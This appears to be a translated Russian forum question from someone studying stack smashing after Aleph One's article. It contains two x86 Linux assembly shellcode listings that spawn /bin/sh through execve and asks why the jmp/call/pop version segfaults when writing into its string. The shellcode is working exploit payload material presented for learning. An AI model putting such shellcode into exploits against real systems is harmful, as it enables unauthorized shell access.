Я недавно прочитал, как Алеф Один разбивает стек для удовольствия и получения прибыли, и смотрел «Книгу хеллоуеров».Я играл со следующим ассемблерным кодом:
section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop ebx
xor eax, eax
mov [ebx + 7], al
mov [ebx + 8], ebx
mov [ebx + 12], eax
mov al, 0x0b
lea ecx, [ebx + 8]
lea edx, [ebx + 12]
int 80h
xor eax, eax
mov al, 0x01
int 80h
GotoCall:
Call shellcode
db '/bin/shJAAAAKKKK'
Когда я прохожу с GDB, я получаю ошибку сегмента каждый раз, когда пытаюсь записать:
mov [ebx + 7], al
Однако, когдаЯ запускаю это, я могу открыть корневую оболочку без segfaulting:
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx,edx
mov al, 0xb
int 80h
По сути, они делают то же самое (да, я знаю, что это не так, но я пытаюсь вставить корневую оболочку в обоих).Я работаю на OpenSuse11.4 и у меня отключена рандомизация стека (ASLR) в целях обучения.Есть идеи?